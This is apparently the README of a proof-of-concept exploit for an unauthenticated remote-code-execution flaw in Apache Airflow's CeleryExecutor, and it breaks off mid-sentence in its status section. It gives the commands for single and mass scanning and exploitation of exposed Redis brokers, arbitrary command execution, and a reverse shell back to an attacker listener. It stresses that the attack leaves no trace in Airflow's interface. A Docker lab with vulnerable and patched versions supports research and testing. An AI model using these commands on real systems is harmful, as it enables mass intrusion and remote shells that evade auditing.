CVE-2026-68982 — Apache Airflow CeleryExecutor unauthenticated callback RCE (poC + lab + analysis)
# CVE-2026-68982 — Apache Airflow CeleryExecutor unauth RCE
Anyone with **write access to the Celery broker** can send an `ExecuteCallback` workload
that the worker imports and executes **without validating the workload token**. No Airflow
credentials, no DAG, no DagRun, no scheduler. Leaves **no trace** in the Airflow UI/API.
Affected: Airflow **< 3.4.0** with CeleryExecutor. Fixed in **3.4.0** (CWE-306, CVSS 9.8).
## Usage
```bash
python3 poc.py # interactive menu (primary entry point)
```
```
1 single scan (broker detection, read-only)
2 single exploit (RCE payload + OOB verification)
3 mass scan (target file)
4 mass exploit (target file)
0 exit
```
### Scripted
```bash
# read-only detection
python3 poc.py -u redis://HOST:6379/0 --scan
# run a command (verified manually)
python3 poc.py -u redis://HOST:6379/0 --exploit --cmd 'id'
# reverse shell (OOB verification -> [PWN])
python3 poc.py -u redis://HOST:6379/0 --exploit --lhost 10.0.0.1 --lport 4444
# mass
python3 poc.py -l brokers.txt --exploit --cmd 'id' -o out/
```
Options: `--payload FILE` (custom workload JSON), `--task`, `--queue`, `-o DIR`, `-q`.
### Broker discovery (read-only)
```bash
python3 tools/probe-airflow-broker.py hosts.txt out.txt
```
Fingerprints a Celery/Airflow broker by the `_kombu.binding.*` keys — no payload sent.
Statuses: `CANDIDATE` (Celery broker, no AUTH) · `AUTH` · `OPEN-NONCELERY` · `CLOSED`.
## Lab
```bash
cd lab
docker compose -p af68982 -f docker-compose.yml up -d # vulnerable 3.3.2, redis :6390
docker compose -p af68982p -f docker-compose.patched.yml up -d # patched 3.4.0, redis :6391
```
Always pass `-p` — both files would otherwise share the compose project name and tear
each other's containers down.
No scheduler and no DAGs are started: the PoC needs neither.
## Status
- **Lab-verified end-to-end**: RCE confirmed via `id`, `subprocess.check_output`,
and a reverse shell; `uid=50000(airflow)`, Fernet